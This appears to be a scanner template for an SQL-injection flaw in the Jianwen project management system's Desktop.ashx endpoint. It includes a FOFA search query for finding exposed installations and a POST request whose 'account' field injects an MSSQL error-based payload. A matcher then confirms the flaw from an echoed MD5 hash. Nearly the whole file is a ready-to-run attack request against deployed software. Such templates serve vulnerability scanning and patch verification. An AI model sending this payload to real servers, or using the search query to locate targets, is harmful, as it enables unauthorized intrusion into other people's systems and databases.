jianwen-desktop-ashx-sqli: 建文工程管理系统desktop.ashx存在SQL注入漏洞

id: jianwen-desktop-ashx-sqli

info:
  name: 建文工程管理系统desktop.ashx存在SQL注入漏洞
  author: avic123
  severity: high
  verified: true
  description: |-
    建文工程管理系统/SysFrame4/Desktop.ashx 存在SQL注入漏洞
    fofa: body="Login/QRLogin.ashx"
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/134722925
  tags: jianwen,sqli
  created: 2025/03/18

set:
  md5str: randomLowercase(10)
rules:
  r0:
    request:
      method: POST
      path: /SysFrame4/Desktop.ashx
      body: |
        account=1'+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','{{md5str}}')),3,32))<0--&method=isChangePwd&pwd=
    expression: response.status == 200 && response.body.bcontains(bytes(md5(md5str)))
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.